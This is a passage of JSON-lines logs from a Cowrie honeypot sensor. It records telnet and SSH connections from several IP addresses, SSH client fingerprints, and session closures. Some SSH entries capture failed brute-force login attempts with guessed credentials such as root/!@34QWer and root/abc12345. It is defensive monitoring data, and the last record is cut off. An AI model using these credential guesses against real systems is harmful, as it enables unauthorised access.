{"eventid":"cowrie.session.closed","duration":30.582688331604004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:45.091287Z","src_ip":"213.171.199.40","session":"b77ec8f29d34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.869081020355225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:48.693979Z","src_ip":"213.171.199.40","session":"286c4c211153","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":49344,"dst_ip":"159.203.135.109","dst_port":23,"session":"e37e9c348993","protocol":"telnet","message":"New connection: 213.171.199.40:49344 (159.203.135.109:23) [session: e37e9c348993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:51.945457Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":47086,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1f8042c5945","protocol":"telnet","message":"New connection: 213.171.199.40:47086 (159.203.135.109:23) [session: c1f8042c5945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:36:59.316803Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":44972,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a9a709a36ad","protocol":"telnet","message":"New connection: 45.63.42.31:44972 (10.17.0.5:23) [session: 0a9a709a36ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:01.032868Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":48906,"dst_ip":"10.17.0.5","dst_port":23,"session":"ace646c1c7a6","protocol":"telnet","message":"New connection: 45.63.42.31:48906 (10.17.0.5:23) [session: ace646c1c7a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:02.210542Z"}
{"eventid":"cowrie.session.closed","duration":36.159947633743286,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:02.380469Z","src_ip":"45.63.42.31","session":"3a80422857b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68651008605957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:07.172764Z","src_ip":"213.171.199.40","session":"7f4cb8c1fa82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":53922,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f7143fac5cd","protocol":"telnet","message":"New connection: 45.63.42.31:53922 (10.17.0.5:23) [session: 8f7143fac5cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:07.854383Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":37410,"dst_ip":"10.17.0.5","dst_port":22,"session":"94b33e3f779f","protocol":"ssh","message":"New connection: 107.173.55.151:37410 (10.17.0.5:22) [session: 94b33e3f779f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:08.909277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:08.919414Z","src_ip":"107.173.55.151","session":"94b33e3f779f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:08.933082Z","src_ip":"107.173.55.151","session":"94b33e3f779f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@34QWer","message":"login attempt [root/!@34QWer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:09.040950Z","src_ip":"107.173.55.151","session":"94b33e3f779f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:10.060240Z","src_ip":"107.173.55.151","session":"94b33e3f779f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.01982927322388,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:13.186668Z","src_ip":"45.63.42.31","session":"8d1a60926551","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.00139546394348,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:14.293742Z","src_ip":"45.63.42.31","session":"43b9760ce6c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.05520486831665,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:18.070709Z","src_ip":"45.63.42.31","session":"5c86401783fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":43062,"dst_ip":"159.203.135.109","dst_port":23,"session":"fddc0d4502a8","protocol":"telnet","message":"New connection: 213.171.199.40:43062 (159.203.135.109:23) [session: fddc0d4502a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:21.956772Z"}
{"eventid":"cowrie.session.closed","duration":30.124126434326172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:22.069458Z","src_ip":"213.171.199.40","session":"e37e9c348993","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.84","src_port":41596,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7759dc38197","protocol":"telnet","message":"New connection: 45.119.212.84:41596 (159.203.135.109:23) [session: d7759dc38197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:25.144818Z"}
{"eventid":"cowrie.session.closed","duration":31.42738962173462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:30.744066Z","src_ip":"213.171.199.40","session":"c1f8042c5945","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.194.37.216","src_port":44813,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9dc3f9ace86","protocol":"telnet","message":"New connection: 115.194.37.216:44813 (159.203.135.109:23) [session: b9dc3f9ace86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:31.972562Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":34180,"dst_ip":"159.203.135.109","dst_port":22,"session":"2654863e972c","protocol":"ssh","message":"New connection: 191.255.52.36:34180 (159.203.135.109:22) [session: 2654863e972c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:32.860546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:32.917760Z","src_ip":"191.255.52.36","session":"2654863e972c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:33.047287Z","src_ip":"191.255.52.36","session":"2654863e972c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4321qwer","message":"login attempt [root/4321qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:33.624765Z","src_ip":"191.255.52.36","session":"2654863e972c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:34.824318Z","src_ip":"191.255.52.36","session":"2654863e972c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.81847143173218,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:35.851190Z","src_ip":"45.63.42.31","session":"0a9a709a36ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.894930601119995,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:39.105353Z","src_ip":"45.63.42.31","session":"ace646c1c7a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":36990,"dst_ip":"10.17.0.5","dst_port":23,"session":"b57814c6be55","protocol":"telnet","message":"New connection: 45.63.42.31:36990 (10.17.0.5:23) [session: b57814c6be55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:40.172069Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":37758,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d9c58b9005a","protocol":"telnet","message":"New connection: 45.63.42.31:37758 (10.17.0.5:23) [session: 9d9c58b9005a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:40.552304Z"}
{"eventid":"cowrie.session.closed","duration":34.47457981109619,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:42.328823Z","src_ip":"45.63.42.31","session":"8f7143fac5cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.413266658782959,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:45.385736Z","src_ip":"115.194.37.216","session":"b9dc3f9ace86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":38898,"dst_ip":"159.203.135.109","dst_port":22,"session":"37fae4fe5896","protocol":"ssh","message":"New connection: 114.141.59.195:38898 (159.203.135.109:22) [session: 37fae4fe5896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:48.199506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:48.205552Z","src_ip":"114.141.59.195","session":"37fae4fe5896","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:48.449811Z","src_ip":"114.141.59.195","session":"37fae4fe5896","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:49.461227Z","src_ip":"114.141.59.195","session":"37fae4fe5896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:50.702538Z","src_ip":"114.141.59.195","session":"37fae4fe5896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.100027561187744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:53.056666Z","src_ip":"213.171.199.40","session":"fddc0d4502a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":52256,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaf8acc3d80b","protocol":"ssh","message":"New connection: 107.173.55.151:52256 (10.17.0.5:22) [session: eaf8acc3d80b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:55.585828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:55.592031Z","src_ip":"107.173.55.151","session":"eaf8acc3d80b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:55.611202Z","src_ip":"107.173.55.151","session":"eaf8acc3d80b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cs123456","message":"login attempt [root/cs123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:55.737466Z","src_ip":"107.173.55.151","session":"eaf8acc3d80b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:37:56.768730Z","src_ip":"107.173.55.151","session":"eaf8acc3d80b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":59478,"dst_ip":"10.17.0.5","dst_port":23,"session":"39742777803a","protocol":"telnet","message":"New connection: 45.63.42.31:59478 (10.17.0.5:23) [session: 39742777803a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:03.634097Z"}
{"eventid":"cowrie.session.closed","duration":33.76854586601257,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:14.320717Z","src_ip":"45.63.42.31","session":"9d9c58b9005a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.70674967765808,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:15.878577Z","src_ip":"45.63.42.31","session":"b57814c6be55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.78541922569275,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:19.930127Z","src_ip":"45.119.212.84","session":"d7759dc38197","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":46096,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a4deecc3cf1","protocol":"ssh","message":"New connection: 191.255.52.36:46096 (159.203.135.109:22) [session: 4a4deecc3cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:22.811208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:22.822897Z","src_ip":"191.255.52.36","session":"4a4deecc3cf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:23.015489Z","src_ip":"191.255.52.36","session":"4a4deecc3cf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123@abc","message":"login attempt [user/123@abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:23.584698Z","src_ip":"191.255.52.36","session":"4a4deecc3cf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:24.738659Z","src_ip":"191.255.52.36","session":"4a4deecc3cf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":55720,"dst_ip":"10.17.0.5","dst_port":23,"session":"34781169e760","protocol":"telnet","message":"New connection: 45.63.42.31:55720 (10.17.0.5:23) [session: 34781169e760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:28.527932Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":38320,"dst_ip":"10.17.0.5","dst_port":23,"session":"fced1d35b73d","protocol":"telnet","message":"New connection: 103.115.172.252:38320 (10.17.0.5:23) [session: fced1d35b73d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:28.975304Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":45238,"dst_ip":"10.17.0.5","dst_port":22,"session":"d12ffb0d610f","protocol":"ssh","message":"New connection: 5.182.83.231:45238 (10.17.0.5:22) [session: d12ffb0d610f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:36.680946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:36.685212Z","src_ip":"5.182.83.231","session":"d12ffb0d610f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2